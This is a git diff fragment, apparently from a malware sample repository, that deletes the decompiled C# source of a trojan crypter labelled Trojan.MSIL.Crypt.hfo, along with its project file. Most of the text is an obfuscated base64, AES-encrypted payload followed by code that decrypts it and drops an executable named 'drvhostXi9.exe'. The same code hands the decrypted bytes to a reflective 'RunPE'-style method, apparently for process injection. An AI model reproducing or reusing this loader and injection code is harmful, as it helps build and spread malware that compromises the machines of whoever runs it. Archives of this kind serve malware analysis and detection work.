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", "i6A9Tdc5P4Lsj3Q7", "m6D8Nwc5WXd9a4G2Pey3KQi", "SHA1", 2, "i9HSb86Wdy4YJn57", 128)); - File.WriteAllBytes(path, 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- Driver.Ee8g9S6Xji7T2WaZo3n4Y5KmHb5c2("IMETHOD", "ibMethod", g6Q3Ykc7XSa84TnNy9f2ACx5j3PB, new object[1] - { - (object) "drvhostXi9.exe" - }); - Driver.Ee8g9S6Xji7T2WaZo3n4Y5KmHb5c2("RPEMETHOD", "Run", g6Q3Ykc7XSa84TnNy9f2ACx5j3PB, new object[2] - { - (object) numArray, - (object) path - }); - } - - private static bool Ee8g9S6Xji7T2WaZo3n4Y5KmHb5c2( - string r6S4WfBe28XmFn7, - string k6WFo93Tcf5PDp4s2Q8LwEb7j3XMy, - Assembly g6Q3Ykc7XSa84TnNy9f2ACx5j3PB, - object[] q7T3SaYn2p6B8Zms4GQt59) - { - try - { - Type type = g6Q3Ykc7XSa84TnNy9f2ACx5j3PB.GetType(r6S4WfBe28XmFn7); - if ((object) type != null) - { - MethodInfo method = type.GetMethod(k6WFo93Tcf5PDp4s2Q8LwEb7j3XMy); - if ((object) method != null) - return (bool) method.Invoke((object) null, q7T3SaYn2p6B8Zms4GQt59); - } - } - catch - { - return false; - } - return false; - } - - public static byte[] i6LDz4e8GWr59AjBs72K( - string i2J6Gra3W4Tgd8KCj97, - string y8A4Bdc9KLn2x6WQk, - string p3A9Tea4HJj2r8C, - string Ee8g9S6Xji7T2WaZo3n4Y5KmHb5c2, - int Cx2t4Y9QyNm5c6LKn87Fpq3XSd4b7H, - string Lr4x3TCe2y7B8Ya, - int Fi7c9JKx5r2PBm83) - { - try - { - byte[] bytes1 = Encoding.ASCII.GetBytes(Lr4x3TCe2y7B8Ya); - byte[] bytes2 = Encoding.ASCII.GetBytes(p3A9Tea4HJj2r8C); - byte[] buffer = Convert.FromBase64String(i2J6Gra3W4Tgd8KCj97); - byte[] bytes3 = new PasswordDeriveBytes(y8A4Bdc9KLn2x6WQk, bytes2, Ee8g9S6Xji7T2WaZo3n4Y5KmHb5c2, Cx2t4Y9QyNm5c6LKn87Fpq3XSd4b7H).GetBytes(Fi7c9JKx5r2PBm83 / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[buffer.Length]; - int count = 0; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count)); - } - catch - { - return (byte[]) null; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Trojan.MSIL.Crypt.hfo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Trojan.MSIL.Crypt.hfo.csproj deleted file mode 100644 index 659ed77a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-16d33bc57e129ffabee37270938b4a703f8432a8ca62a6e83a256970c988ddf7/Trojan.MSIL.Crypt.hfo.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {C10367FA-02E3-4B6D-85E9-9A912EFAD193} - WinExe - 